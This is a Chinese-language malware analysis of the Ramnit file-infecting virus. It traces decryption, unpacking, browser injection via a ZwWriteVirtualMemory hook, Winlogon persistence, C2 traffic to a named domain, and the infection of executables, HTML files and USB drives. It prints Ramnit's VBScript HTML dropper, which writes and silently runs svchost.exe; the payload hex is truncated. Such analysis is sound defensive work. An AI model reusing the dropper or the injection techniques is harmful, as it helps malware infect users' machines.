前言
感染型病毒是通过感染将恶意代码附着于正常程序中,在通过被感染的正常程序进行传播,可见感染型病毒的危害之大。不过只要了解了感染型病毒的原理,其实并没有想象中的那么可怕,今天我将带来的是感染型病毒Ramnit的详细分析。
样本信息
样本是我随便找的一个被Ramnit病毒感染的crackme程序
样本名:crack_me(cracked).exe
SHA1:537c992c86674a442eb3c33140feaeec7ae4ab91
行为分析
使用火绒剑进行行为分析
被感染的样本执行后,会在当前目录下释放crack_me(cracked)Srv.exe(.*Srv.exe)
病毒母体文件,病毒母体文件会在C:Program Files (x86)Microsoft
目录下释放DesktopLayer.exe
文件
DesktopLayer.exe
进程被创建后,注入chrome浏览器,修改Winlogon注册表项达到自启动目的,并开始感染其他文件
感染的文件类型主要有exe、dll、htm、html等文件
详细分析
详细分析主要分为三个部分,首先从被感染的程序crack_me(cracked).exe
入手,然后是在当前目录下释放的病毒母体crack_me(cracked)Srv.exe(.*Srv.exe)
被感染程序
使用IDA打开被感染的程序crack_me(cracked).exe
,看入口点开头的pusha和结尾的popa,想都不用想,最后的一句jmp eax
就是跳转回程序的真正入口点,大多数感染型病毒差不多都是这种形式,相当于给程序加了一层壳,只不过壳代码是恶意代码。
上面的混淆代码就是计算偏移,找到导入函数LoadLibraryA和GetProcAddress的地址,然后通过字符串所在地址的偏移,进而找到其他函数的地址
获取到函数地址后,首先创建一个名为KyUffThOkYwRRtgPP的互斥体,保证唯一运行
接下来,利用多个异或密钥逐字节循环解密,起始地址为0x409573
,大小为0xDC00
从0x40934B
开始倒序取字节D4进行异或解密,直到取到0x409329
中的47后重新从0x40934B
开始取值,循环直到结束
解密后是个PE文件
解密后继续执行,首先当前完整进程路径名,创建同名加Srv的exe文件,并将解密后的数据写入文件
启动刚创建好的文件,然后跳转到原始程序真正的入口点
病毒母体文件
被感染程序解密释放出病毒母体文件crack_me(cracked)Srv.exe
,查看信息,发现加了UPX壳
PE: packer: UPX(3.03)[NRV,best]
PE: linker: unknown(7.4)[EXE32]
首先脱壳
用IDA打开,上下看一看,不难发现,这还是一个混淆器,期间各种无意义API调用,无用call等混淆
根据尝试,找到入口点第一层关键call
进入sub_40724D函数,发现还是一堆无意义的call和API的调用,jmp才是真正继续执行的关键。查看IDA的Graph overview
中间和结尾出有两处看着像循环解密的部分。
将鼠标移到Graph overview
中部,发现上面又是无意义的API调用,下面的循环看起来也不像是解密用到的
鼠标移到Graph overview
下部,发现这里调用了VirtualAlloc,下面就很可能是循环解密数据了
使用OD动态跟踪,申请了大小为F000的内存空间
从地址0x401F43
开始取值,解密后存放到申请的内存空间
解密后执行在地址0x407468
返回到AllocMemoryBaseAddr + 0x2CA9
继续执行代码
将申请的内存空间dump下来,跳转到0x2CA9
查看代码流程,发现还是使用jmp跳转进行混淆
跟随代码流程,到0x0783
这个地址,利用PEB结构获取ntdll加载基址
函数内还是一堆混淆跳转,经过简化后汇编语句如下
mov edx,dword ptr fs:[0x30]
mov edx,dword ptr ds:[edx+0xC]
mov edx,dword ptr ds:[edx+0xC]
mov edx,dword ptr ds:[edx]
mov eax,dword ptr ds:[edx+0x18]
期间还利用很多次PEB结构获取信息,并再次解密.data数据段数据,最后通过调用ZwFreeVirtualMemory后返回到被解密的.data区段上执行代码
进入.data区段执行代码发现pushad,看汇编的形式,应该又是UPX壳
将此刻状态的样本dump下来,查壳发现这一层使用了3.04版本的UPX壳
脱掉UPX壳,才真正到了病毒母体的入口点
病毒母体的入口点开始部分并没有什么恶意代码,它的主要目的是hook api函数对浏览器注入恶意dll,所以我将这一部分称为Injecter
病毒母体首先会获取浏览器执行程序的路径,创建互斥体,判断当前执行程序路径,hook api函数对浏览器注入恶意dll
通过注册表获取默认浏览器路径
如果找到默认浏览器执行程序文件,直接返回,没找到,则去找IE浏览器执行程序文件
判断当前运行路径是否为C:Program Files (x86)MicrosoftDesktopLayer.exe
,如果不是,将自身拷贝到C:Program Files (x86)MicrosoftDesktopLayer.exe
,并执行DesktopLayer.exe,返回后当前程序直接退出
当前运行路径为C:Program Files (x86)MicrosoftDesktopLayer.exe
时,返回后继续执行代码,hook api函数对浏览器注入恶意dll
hook ZwWriteVirtualMemory函数
创建浏览器进程
由于CreateProcessA内部会调用ZwWriteVirtualMemory函数,所以会调用到被hook后的地址0x402A59
执行代码
首先跳回真正的ZwWriteVirtualMemory继续执行
读取浏览器进程内存,获取入口点地址
恶意dll在文件中的开始位置0x404031
申请内存并将dll写入浏览器进程内存
将三个函数写入浏览器进程内存中
在浏览器程序入口点写入shellcode
当浏览器进程线程被恢复开始运行时,会先调用写入的shellcode,call edi
会调用shellcode_call_first_func
函数,这个函数负责调用写入的edi_add_0xc_func
函数初始化导入表,调用写入的edi_add_0x10_func
函数修改区段属性等一系列初始化过程后会调用写入的dllmain函数
在dll入口点,首先创建互斥体判断当前程序是否唯一运行,并初始化一些数据
解密字符串,获取计算机信息,MD5加密信息,在当前目录下生成dmlconf.dat
dll入口点创建了几个线程,分别是写自启动项线程,判断网络连接线程,写文件线程,向fget-career.com发送用户数据线程和在fget-career.com下载文件并运行线程。
其中写自启动线程通过设置SoftwareMicrosoftWindows NTCurrentVersionWinlogon
下的UserInit注册表项达到自启动,并每秒检查确认病毒路径是否在其中。
几个线程创建后,进入感染文件的函数,首先检查注册表中是否存在Software\WASAntidot
这一项,如果不存在继续感染文件操作
创建两个线程,一个是感染文件,另一个是感染可移动设备
首先看infect_file_thread线程函数
关键感染文件函数,判断文件类型
当是exe和dll文件时,打开文件,创建文件映射进行感染,判断是否存在.rmnet 区段
如果不存在.rmnet 区段,添加LoadLibraryA,GetProcAddress这2个字符串和.rmnet区段并修改OEP
当是html和htm文件时,判断文件结尾是否是</SCRIPT>
如果不是将在html文件尾部写入数据
创建一个名为svchost.exe的文件,将WriteData中的二进制数据写入文件并执行。
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A..."
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>
infect_removable线程函数
循环遍历磁盘,判断是否为可移动设备
当是可移动设备时,打开autorun.inf文件,通过 autorun.inf 的头 3 字节是否为 RmN
判断是否感染
如果没被感染,在可移动设备目录下创建 RECYCLER 目录,并在RECYCLER 目录下创建随机名病毒exe文件,添加autorun.inf自动运行病毒
样本分析到此结束